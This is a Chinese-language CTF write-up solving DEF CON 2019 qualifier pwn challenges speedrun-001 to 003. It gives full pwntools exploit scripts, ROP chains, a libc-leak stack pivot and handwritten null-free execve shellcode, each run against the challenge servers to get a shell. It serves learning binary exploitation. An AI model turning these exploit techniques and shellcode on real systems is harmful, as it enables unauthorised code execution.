defcon2019 几道pwn题的writeup,speedrun-001、speedrun-002、speedrun-003、speedrun-004

不算很难,用来练手还是很不错的。

speedrun-001

一道简单的64位栈溢出的题目。

分析

这是个静态编译的程序,题目唯一的障碍就是没有程序里面没有symbols,你更本不知道函数的名字,其实我们也不用知道。

安全防护

[*] '/home/ex/test/speedrun-001'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

寻找溢出点

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os

sh = process('./speedrun-001')

try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

# 在这里停下
pause()
sh.sendline('a' * 0x10000)

sh.interactive()

# 删除调试文件
os.system("rm -f pid")

从下面可以看出0x0000000000400bad地址就是我们的溢出点。

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400bad in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 RAX  0x7fc
 RBX  0x400400 ◂— sub    rsp, 8
 RCX  0x0
 RDX  0x6bbd30 ◂— 0x0
 RDI  0x1
 RSI  0x0
 R8   0x7fc
 R9   0x7fc
 R10  0xfffff82f
 R11  0x246
 R12  0x4019a0 ◂— push   rbp
 R13  0x0
 R14  0x6b9018 —▸ 0x443e60 ◂— mov    rcx, rsi
 R15  0x0
 RBP  0x6161616161616161 ('aaaaaaaa')
 RSP  0x7ffd348555f8 ◂— 0x6161616161616161 ('aaaaaaaa')
 RIP  0x400bad ◂— ret    
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
  0x400bad    ret    <0x6161616161616161>

───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp  0x7ffd348555f8 ◂— 0x6161616161616161 ('aaaaaaaa')
... 
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0           400bad
   f 1 6161616161616161
   f 2 6161616161616161
   f 3 6161616161616161
   f 4 6161616161616161
   f 5 6161616161616161
   f 6 6161616161616161
   f 7 6161616161616161
   f 8 6161616161616161
   f 9 6161616161616161
   f 10 6161616161616161
Program received signal SIGSEGV (fault address 0x0)
pwndbg> 

思路

  1. 计算偏移
  2. 猜测read函数
  3. 构造ROP链

计算偏移

在上面的溢出点那里下个断点,然后用gdb调试,输入aaaaaaaa,看看他们的偏移是多少。

ex@Ex:~/test$ gdb ./speedrun-001 
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./speedrun-001...(no debugging symbols found)...done.
pwndbg> b *0x0000000000400bad
Breakpoint 1 at 0x400bad
pwndbg> r
Starting program: /home/ex/test/speedrun-001 
Hello brave new challenger
Any last words?
aaaaaaaa
Program received signal SIGALRM, Alarm clock.

This will be the last thing that you say: aaaaaaaa

Breakpoint 1, 0x0000000000400bad in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 RAX  0x34
 RBX  0x400400 ◂— sub    rsp, 8
 RCX  0x0
 RDX  0x6bbd30 ◂— 0x0
 RDI  0x1
 RSI  0x0
 R8   0x34
 R9   0x34
 R10  0xfffffff7
 R11  0x246
 R12  0x4019a0 ◂— push   rbp
 R13  0x0
 R14  0x6b9018 —▸ 0x443e60 ◂— mov    rcx, rsi
 R15  0x0
 RBP  0x7fffffffdb10 —▸ 0x401900 ◂— push   r15
 RSP  0x7fffffffdaf8 —▸ 0x400c1d ◂— mov    eax, 0
 RIP  0x400bad ◂— ret    
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
  0x400bad    ret    <0x400c1d>
    
   0x400c1d    mov    eax, 0
   0x400c22    call   0x400bae

   0x400c27    mov    eax, 0
   0x400c2c    leave  
   0x400c2d    ret    

   0x400c2e    nop    
   0x400c30    push   rbx
   0x400c31    sub    rsp, 0x88
   0x400c38    test   rdi, rdi
   0x400c3b    je     0x400c95
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffdaf8 —▸ 0x400c1d ◂— mov    eax, 0
01:0008│      0x7fffffffdb00 —▸ 0x7fffffffdc38 —▸ 0x7fffffffdff2 ◂— '/home/ex/test/speedrun-001'
02:0010│      0x7fffffffdb08 ◂— 0x1006b9018
03:0018│ rbp  0x7fffffffdb10 —▸ 0x401900 ◂— push   r15
04:0020│      0x7fffffffdb18 —▸ 0x4011a9 ◂— mov    edi, eax
05:0028│      0x7fffffffdb20 ◂— 0x0
06:0030│      0x7fffffffdb28 ◂— 0x100000000
07:0038│      0x7fffffffdb30 —▸ 0x7fffffffdc38 —▸ 0x7fffffffdff2 ◂— '/home/ex/test/speedrun-001'
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0           400bad
   f 1           400c1d
   f 2           4011a9
Breakpoint *0x0000000000400bad
pwndbg> 

程序已经在断点停下,让我们来计算偏移。

pwndbg> search -s aaaaaaaa
[stack]         0x7fffffffb08a 'aaaaaaaa\n\n'
[stack]         0x7fffffffd6f0 'aaaaaaaa\n'
pwndbg> p/x 0x7fffffffdaf8-0x7fffffffd6f0
$1 = 0x408
pwndbg> 

0x7fffffffdaf8是溢出点的返回地址,0x7fffffffd6f0是存字符串的地址,至于为什么要用第二个,反正就两个可能性,都试一下就知道是哪个了。

猜测read函数

方法就是用gdb调试,然后程序等待输入的时候,直接int中断程序,查看栈分布就能确定read函数了。

pwndbg> bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()
pwndbg> 

也就五个地址,不难判断,0x0000000000400b90的上一条指令是在call read,也就是:

.text:0000000000400B77 lea     rax, [rbp+var_400]
.text:0000000000400B7E mov     edx, 7D0h
.text:0000000000400B83 mov     rsi, rax
.text:0000000000400B86 mov     edi, 0
.text:0000000000400B8B call    sub_4498A0
.text:0000000000400B90 lea     rax, [rbp+var_400]
.text:0000000000400B97 mov     rsi, rax

sub_4498A0这个函数就是read函数。

构造ROP链

这里我要构造的是下面这个shellcode:

    // /bin/sh
    mov rax,0x0068732f6e69622f
    push rax

    mov rdi,rsp
    mov rax,59
    mov rsi,0
    mov rdx,0
    syscall

不懂原理的话,可以去查查64位的系统调用,很简单的。

然后我们用ROPgadget来获得一些我们要用的指令。

# 0x0000000000400686 : pop rdi ; ret
pop_rdi_ret = 0x0000000000400686
# 0x00000000004101f3 : pop rsi ; ret
pop_rsi_ret = 0x00000000004101f3
# 0x00000000004498b5 : pop rdx ; ret
pop_rdx_ret = 0x00000000004498b5
# 0x0000000000415664 : pop rax ; ret
pop_rax_ret = 0x0000000000415664
# 0x0000000000474e65 : syscall ; ret
syscall_ret = 0x0000000000474e65

具体的ROP链:

# 用来存放 /bin/sh 字符串
str_bin_sh_addr = 0x6bc000 - 0x100

read_addr = 0x4498A0

layout = [
    'a'* 0x408,
    p64(pop_rdi_ret),
    p64(0), # fd
    p64(pop_rsi_ret),
    p64(str_bin_sh_addr), # buf
    p64(pop_rdx_ret),
    p64(0x100), # nbytes
    p64(read_addr),

    p64(pop_rdi_ret), # set rdi = '/bin/sh'
    p64(str_bin_sh_addr),
    p64(pop_rax_ret),
    p64(59), #define __NR_execve 59
    p64(pop_rsi_ret),
    p64(0), # set rsi = 0
    p64(pop_rdx_ret),
    p64(0), # set rdx = 0
    p64(syscall_ret),
]

之后补上我们要执行的命令就能getshell。

payload = flat(layout)
# pause()
sh.sendline(payload)

time.sleep(0.1)
# 输入字符串
sh.sendline('/bin/sh\x00')

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import time
import struct

# context.log_level = "debug"
# sh = remote('speedrun-001.quals2019.oooverflow.io', 31337)
sh = process('./speedrun-001')
elf = ELF('./speedrun-001')

# 生成调试文件
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

# 0x0000000000400686 : pop rdi ; ret
pop_rdi_ret = 0x0000000000400686
# 0x00000000004101f3 : pop rsi ; ret
pop_rsi_ret = 0x00000000004101f3
# 0x00000000004498b5 : pop rdx ; ret
pop_rdx_ret = 0x00000000004498b5
# 0x0000000000415664 : pop rax ; ret
pop_rax_ret = 0x0000000000415664
# 0x0000000000474e65 : syscall ; ret
syscall_ret = 0x0000000000474e65

'''
    // /bin/sh
    mov rax,0x0068732f6e69622f
    push rax

    mov rdi,rsp
    mov rax,59
    mov rsi,0
    mov rdx,0
    syscall
'''

# 用来存放 /bin/sh 字符串
str_bin_sh_addr = 0x6bc000 - 0x100

read_addr = 0x4498A0

layout = [
    'a'* 0x408,
    p64(pop_rdi_ret),
    p64(0), # fd
    p64(pop_rsi_ret),
    p64(str_bin_sh_addr), # buf
    p64(pop_rdx_ret),
    p64(0x100), # nbytes
    p64(read_addr),

    p64(pop_rdi_ret), # set rdi = '/bin/sh'
    p64(str_bin_sh_addr),
    p64(pop_rax_ret),
    p64(59), #define __NR_execve 59
    p64(pop_rsi_ret),
    p64(0), # set rsi = 0
    p64(pop_rdx_ret),
    p64(0), # set rdx = 0
    p64(syscall_ret),
]

payload = flat(layout)
# pause()
sh.sendline(payload)

time.sleep(0.1)
# 输入字符串
sh.sendline('/bin/sh\x00')

sh.interactive()

# 删除调试文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ ./exp.py 
[+] Opening connection to speedrun-001.quals2019.oooverflow.io on port 31337: Done
[*] '/home/ex/test/speedrun-001'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
list index out of range
[*] Switching to interactive mode
Hello brave new challenger
Any last words?
This will be the last thing that you say: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\x06@
$ cat flag
OOO{Ask any pwner. Any real pwner. It don't matter if you pwn by an inch or a m1L3. pwning's pwning.}
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

speedrun-002

源程序、IDA分析文件下载:http://file.eonew.cn/ctf/pwn/speedrun-002.zip

一道简单的64位栈溢出的题目。

分析

安全防护

[*] '/home/ex/test/speedrun-002'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

sub_40074C

void __cdecl sub_40074C()
{
  char buf[400]; // [rsp+0h] [rbp-590h]
  char buf_2[1024]; // [rsp+190h] [rbp-400h]

  puts("What say you now?");
  read(0, buf, 300uLL);
  if ( !strncmp(buf, "Everything intelligent is so boring.", 36uLL) )
    sub_400705(buf_2);
  else
    puts("What a ho-hum thing to say.");
}

这个函数是没有问题的。

sub_400705

void __fastcall sub_400705(void *a1)
{
  puts("What an interesting thing to say.\nTell me more.");
  read(0, a1, 2010uLL);
  write(1, "Fascinating.\n", 0xDuLL);
}

可以看到buf_2是1024个字节,但是这里却可以读入2010个字节,明显的栈溢出。

思路

  1. 泄露基地址
  2. 栈转移

泄露基地址

sh.recvuntil('What say you now?\n')
sh.send("Everything intelligent is so boring.")
sh.recvuntil('What an interesting thing to say.\nTell me more.\n')

# 新栈地址
container_addr = 0x602000 - 0x200
# pause()

layout = [
    'a' * 1024,
    # 这里设置 rbp
    p64(container_addr), # rbp
    # 读取 read 的地址
    p64(pop_rdi_ret),
    p64(elf.got['read']),
    p64(elf.plt['puts']),

    # 调用 read 函数,把我们要注入的新栈内容注入到container
    p64(pop_rdi_ret),
    p64(0), # fd
    p64(pop_rsi_pop_r15_ret),
    p64(container_addr), # buf
    p64(0), # r15
    p64(pop_rdx_ret),
    p64(0x100), # nbytes
    p64(elf.plt['read']), # read

    p64(leave_ret), # 栈转移
]

payload = flat(layout)

sh.sendline(payload)
sh.recvuntil('Fascinating.\n')

result = sh.recvuntil('\n')[:-1]
read_addr = u64(result.ljust(8, '\0'))
log.success('read_addr: ' + hex(read_addr))

''' 靶机的 symbols
    Symbol  Offset  Difference
    system  0x04f440    0x0
    open    0x10fc40    0xc0800
    read    0x110070    0xc0c30
    write   0x110140    0xc0d00
    str_bin_sh  0x1b3e9a    0x164a5a
    execve 0x0000000000e4e30
'''

# # 靶机的地址
# libc_addr = read_addr - 0x110070
# system_addr = libc_addr + 0x04f440
# execve_addr = libc_addr + 0x0000000000e4e30
# str_bin_sh_addr = libc_addr + 0x1b3e9a

libc_addr = read_addr - libc.symbols['read']
system_addr = libc_addr + libc.symbols['system']
execve_addr = libc_addr + libc.symbols['execve']
str_bin_sh_addr = libc_addr + libc.search('/bin/sh').next()

log.success('libc_addr: ' + hex(libc_addr))
log.success('system_addr: ' + hex(system_addr))
log.success('execve_addr: ' + hex(execve_addr))
log.success('str_bin_sh_addr: ' + hex(str_bin_sh_addr))

栈转移

# system 函数里面有一条指令一定要栈对其,否则就会crash
# movaps xmmword ptr [rsp + 0x40], xmm0
layout2 = [
    p64(container_addr - 16), # new rbp
    p64(pop_rdi_ret),
    p64(str_bin_sh_addr), # command
    p64(system_addr),
]

# layout2 = [
#     p64(container_addr - 0x100), # new rbp
#     p64(pop_rdi_ret),
#     p64(str_bin_sh_addr), # filename
#     p64(pop_rsi_pop_r15_ret),
#     p64(0), # argv
#     p64(0), # r15
#     p64(pop_rdx_ret),
#     p64(0), # envp
#     p64(execve_addr)
# ]

payload2 = flat(layout2)
# pause()
sh.sendline(payload2)

# sh.sendline('cat /flag')

sh.interactive()

也可以用被注释起来的那个布局,那个布局对栈没有约束,但是需要我们传入更多的参数。

这使用system函数,一定要保证movaps xmmword ptr [rsp + 0x40], xmm0中的rsp + 0x40的值是0x10对其的,否则这条指令会直接crash。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import time
import struct

# context.log_level = "debug"
# sh = remote('speedrun-002.quals2019.oooverflow.io', 31337)
sh = process('./speedrun-002')
elf = ELF('./speedrun-002')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

# 0x00000000004008a3 : pop rdi ; ret
pop_rdi_ret = 0x00000000004008a3
# 0x00000000004008a1 : pop rsi ; pop r15 ; ret
pop_rsi_pop_r15_ret = 0x00000000004008a1
# 0x00000000004006ec : pop rdx ; ret
pop_rdx_ret = 0x00000000004006ec
# 0x000000000040074a : leave ; ret
leave_ret = 0x000000000040074a

'''
.got.plt:0000000000601000                 dq offset stru_600E20
.got.plt:0000000000601008 qword_601008    dq 0                    ; DATA XREF: sub_400580↑r
.got.plt:0000000000601010 qword_601010    dq 0                    ; DATA XREF: sub_400580+6↑r
.got.plt:0000000000601018 off_601018      dq offset getenv        ; DATA XREF: _getenv↑r
.got.plt:0000000000601020 off_601020      dq offset strncmp       ; DATA XREF: _strncmp↑r
.got.plt:0000000000601028 off_601028      dq offset puts          ; DATA XREF: _puts↑r
.got.plt:0000000000601030 off_601030      dq offset write         ; DATA XREF: _write↑r
.got.plt:0000000000601038 off_601038      dq offset alarm         ; DATA XREF: _alarm↑r
.got.plt:0000000000601040 off_601040      dq offset c          ; DATA XREF: _read↑r
.got.plt:0000000000601048 off_601048      dq offset setvbuf       ; DATA XREF: _setvbuf↑r
.got.plt:0000000000601048 _got_plt        ends
'''

sh.recvuntil('What say you now?\n')
sh.send("Everything intelligent is so boring.")
sh.recvuntil('What an interesting thing to say.\nTell me more.\n')

# 新栈地址
container_addr = 0x602000 - 0x200 - 8 # -8 是为了使得栈对齐 movaps xmmword ptr [rsp + 0x40], xmm0
# pause()

layout = [
    'a' * 1024,
    # 这里设置 rbp
    p64(container_addr), # rbp
    # 读取 read 的地址
    p64(pop_rdi_ret),
    p64(elf.got['read']),
    p64(elf.plt['puts']),

    # 调用 read 函数,把我们要注入的新栈内容注入到container
    p64(pop_rdi_ret),
    p64(0), # fd
    p64(pop_rsi_pop_r15_ret),
    p64(container_addr), # buf
    p64(0), # r15
    p64(pop_rdx_ret),
    p64(0x100), # nbytes
    p64(elf.plt['read']), # read

    p64(leave_ret), # 栈转移
]

payload = flat(layout)

sh.sendline(payload)
sh.recvuntil('Fascinating.\n')

result = sh.recvuntil('\n')[:-1]
read_addr = u64(result.ljust(8, '\0'))
log.success('read_addr: ' + hex(read_addr))

''' 靶机的 symbols
    Symbol  Offset  Difference
    system  0x04f440    0x0
    open    0x10fc40    0xc0800
    read    0x110070    0xc0c30
    write   0x110140    0xc0d00
    str_bin_sh  0x1b3e9a    0x164a5a
    execve 0x0000000000e4e30
'''

# # 靶机的地址
# libc_addr = read_addr - 0x110070
# system_addr = libc_addr + 0x04f440
# execve_addr = libc_addr + 0x0000000000e4e30
# str_bin_sh_addr = libc_addr + 0x1b3e9a

libc_addr = read_addr - libc.symbols['read']
system_addr = libc_addr + libc.symbols['system']
execve_addr = libc_addr + libc.symbols['execve']
str_bin_sh_addr = libc_addr + libc.search('/bin/sh').next()

log.success('libc_addr: ' + hex(libc_addr))
log.success('system_addr: ' + hex(system_addr))
log.success('execve_addr: ' + hex(execve_addr))
log.success('str_bin_sh_addr: ' + hex(str_bin_sh_addr))

# system 函数里面有一条指令一定要栈对其,否则就会crash
# movaps xmmword ptr [rsp + 0x40], xmm0
layout2 = [
    p64(container_addr - 16), # new rbp
    p64(pop_rdi_ret),
    p64(str_bin_sh_addr), # command
    p64(system_addr),
]

# layout2 = [
#     p64(container_addr - 0x100), # new rbp
#     p64(pop_rdi_ret),
#     p64(str_bin_sh_addr), # filename
#     p64(pop_rsi_pop_r15_ret),
#     p64(0), # argv
#     p64(0), # r15
#     p64(pop_rdx_ret),
#     p64(0), # envp
#     p64(execve_addr)
# ]

payload2 = flat(layout2)
# pause()
sh.sendline(payload2)

# sh.sendline('cat /flag')

sh.interactive()

# 删除调试文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ ./exp.py 
[+] Opening connection to speedrun-002.quals2019.oooverflow.io on port 31337: Done
[*] '/home/ex/test/speedrun-002'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
list index out of range
[+] read_addr: 0x7fba425d9070
[+] libc_addr: 0x7fba424c9000
[+] system_addr: 0x7fba42518440
[+] execve_addr: 0x7fba425ade30
[+] str_bin_sh_addr: 0x7fba4267ce9a
[*] Switching to interactive mode
OOO{I_didn't know p1zzA places__mAde pwners.}
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
[*] Got EOF while reading in interactive

speedrun-003

源程序和IDA分析文件下载:http://file.eonew.cn/ctf/pwn/speedrun-003.zip

该题主要考察我们构造shellcode的能力。

安全防护

ex@Ex:~/test$ checksec speedrun-003
[*] '/home/ex/test/speedrun-003'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

测试

先进行测试,看看有没有明显的溢出点。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os

# 设置环境
context(arch='amd64', os='linux')

sh = process('./speedrun-003')
# sh = remote('speedrun-003.quals2019.oooverflow.io', 31337)

# 生成调试文件
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

# 暂停,等待gdb attach
pause()
sh.sendline('bbbb' + 'a' * 0x1000)

sh.interactive()

# 删除调试文件
os.system("rm -f pid")

调试结果如下:

Program received signal SIGILL, Illegal instruction.
0x00007f0340d1b000 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffe87a96ac0 ◂— 'bbbbaaaaaaaaaaaaaaaaaaaaaaaaaa'
 RDX  0x7f0340d1b000 ◂— 'bbbbaaaaaaaaaaaaaaaaaaaaaaaaaa'
 RDI  0x7f0340d1b000 ◂— 'bbbbaaaaaaaaaaaaaaaaaaaaaaaaaa'
 RSI  0x7ffe87a96ac0 ◂— 'bbbbaaaaaaaaaaaaaaaaaaaaaaaaaa'
 R8   0xffffffff
 R9   0x0
 R10  0x22
 R11  0x246
 R12  0x55df9f192840 (_start) ◂— xor    ebp, ebp
 R13  0x7ffe87a96bf0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7ffe87a96aa0 —▸ 0x7ffe87a96af0 —▸ 0x7ffe87a96b10 —▸ 0x55df9f192b70 (__libc_csu_init) ◂— push   r15
 RSP  0x7ffe87a96a78 —▸ 0x55df9f1929f9 (shellcode_it+98) ◂— nop    
 RIP  0x7f0340d1b000 ◂— 'bbbbaaaaaaaaaaaaaaaaaaaaaaaaaa'
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
Invalid instructions at 0x7f0340d1b000

───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp  0x7ffe87a96a78 —▸ 0x55df9f1929f9 (shellcode_it+98) ◂— nop    
01:0008│      0x7ffe87a96a80 ◂— 0x1e40aec2a0
02:0010│      0x7ffe87a96a88 —▸ 0x7ffe87a96ac0 ◂— 'bbbbaaaaaaaaaaaaaaaaaaaaaaaaaa'
03:0018│      0x7ffe87a96a90 —▸ 0x7f0340d1b000 ◂— 'bbbbaaaaaaaaaaaaaaaaaaaaaaaaaa'
... 
05:0028│ rbp  0x7ffe87a96aa0 —▸ 0x7ffe87a96af0 —▸ 0x7ffe87a96b10 —▸ 0x55df9f192b70 (__libc_csu_init) ◂— push   r15
06:0030│      0x7ffe87a96aa8 —▸ 0x55df9f192aeb (get_that_shellcode+239) ◂— mov    rax, qword ptr [rbp - 8]
07:0038│      0x7ffe87a96ab0 —▸ 0x55df9f192bf8 ◂— push   rsp /* 'Think you can drift?' */
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0     7f0340d1b000
   f 1     55df9f1929f9 shellcode_it+98
   f 2     55df9f192aeb get_that_shellcode+239
   f 3     55df9f192b5d main+92
   f 4     7f0340725b97 __libc_start_main+231
Program received signal SIGILL
pwndbg> 

可以看到,程序直接把我们的输入当成了指令去执行。

分析

让我们来看看它的一些重要函数:

get_that_shellcode

void __cdecl get_that_shellcode()
{
  int v0; // ST0C_4
  char key; // ST0A_1
  char buf[32]; // [rsp+10h] [rbp-30h]
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Send me your drift");
  v0 = read(0, buf, 30uLL);
  buf[30] = 0;
  if ( v0 == 30 )
  {
    if ( strlen(buf) == 30 )
    {
      if ( strchr(buf, 0x90) )
      {
        puts("Sleeping on the job, you're not ready.");
      }
      else
      {
        key = xor(buf, 15u);
        if ( key == xor(&buf[15], 15u) )
          shellcode_it(buf, 30u);
        else
          puts("This is a special race, come back with better.");
      }
    }
    else
    {
      puts("You're not up to regulation.");
    }
  }
  else
  {
    puts("You're not ready.");
  }
}

其实该题主要考察我们构造shellcode的能力。其为我们设置了三个障碍:

障碍一

strlen(buf) == 30,我们的输入必须是长度为30字节的字符串,这也就意味着我们构造的shellcode里面不需要出现\0字节。

障碍二

strchr(buf, 0x90),不允许有nop指令,不过构造shellcode的时候确实不用nop指令,这个障碍是最简单的。

障碍三

让我们先来看看xor函数:

xor

char __fastcall xor(char *str, unsigned int length)
{
  char result; // [rsp+17h] [rbp-5h]
  unsigned int i; // [rsp+18h] [rbp-4h]

  result = 0;
  for ( i = 0; i < length; ++i )
    result ^= str[i];
  return result;
}

功能很简单的,就是把字符串根据指定的长度进行异或。

而障碍三就是要求前15个字节和后15个字节的xor值相同,这就意味着我们要构造最多29个字节的shellcode,因为最后一个字节要绕过xor障碍。

key = xor(buf, 15u);
if ( key == xor(&buf[15], 15u) )
  shellcode_it(buf, 30u);

构造shellcode

先看看pwntools里内置的shellcode合不合适。

pwntools

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os

# 设置环境
context(arch='amd64', os='linux')

print(shellcraft.sh())
print('length: ' + str(len(asm(shellcraft.sh()))))

运行结果:


ex@Ex:~/test$ python exp.py 
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

length: 48
ex@Ex:~/test$

明显不符合,所以这里就需要我们自己手动构造shellcode。

手动构造shellcode

下面是我手动构造的shellcode,可以满足所有障碍。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os

context(arch='amd64', os='linux')

shellcode ='''
mov rax,0x68732f6e69622fff
shr rax, 8
push rax

mov rdi, rsp
xor rax, rax
mov al, 59
xor rsi, rsi
cdq
syscall
'''

print(len(asm(shellcode)))
open('shellcode', 'wb').write(asm(shellcode))

运行结果:

ex@Ex:~/test$ python ee.py 
29
ex@Ex:~/test$ xxd -i shellcode 
unsigned char shellcode[] = {
  0x48, 0xb8, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1,
  0xe8, 0x08, 0x50, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0xb0, 0x3b, 0x48,
  0x31, 0xf6, 0x99, 0x0f, 0x05
};
unsigned int shellcode_len = 29;
ex@Ex:~/test$ 

那么直接把这个shellcode注入就可以了。

绕过xor检查

# 填充shellcode
shellcode = asm(shellcode_asm).ljust(29, 'b')

def xor(str, length):
    result = 0
    for i in range(length):
        result ^= ord(str[i])

    return result

# 为了绕过 xor 检查
shellcode = shellcode + chr(xor(shellcode[:15], 15) ^ xor(shellcode[15:], 14))

就是让最后一个字节刚好可以完成异或。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os

# 设置环境
context(arch='amd64', os='linux')

sh = process('./speedrun-003')
# sh = remote('speedrun-003.quals2019.oooverflow.io', 31337)

# 生成调试文件
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

shellcode_asm = '''
mov rax,0x68732f6e69622fff
shr rax, 8
push rax

mov rdi, rsp
xor rax, rax
mov al, 59
xor rsi, rsi
cdq
syscall
'''

# 填充shellcode
shellcode = asm(shellcode_asm).ljust(29, 'b')

def xor(str, length):
    result = 0
    for i in range(length):
        result ^= ord(str[i])

    return result

# 为了绕过 xor 检查
shellcode = shellcode + chr(xor(shellcode[:15], 15) ^ xor(shellcode[15:], 14))

sh.sendline(shellcode)

# sh.sendline('cat /flag')

sh.interactive()

# 删除调试文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ python exp.py 
[+] Opening connection to speedrun-003.quals2019.oooverflow.io on port 31337: Done
list index out of range
[*] Switching to interactive mode
Think you can drift?
Send me your drift
OOO{Fifty percent of something is better than a hundred percent of nothing. (except when it comes to pwning)}
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ 

speedrun-004

又是一个没有symbols的静态编译程序,只能我们自己进行猜测了,反正不难。

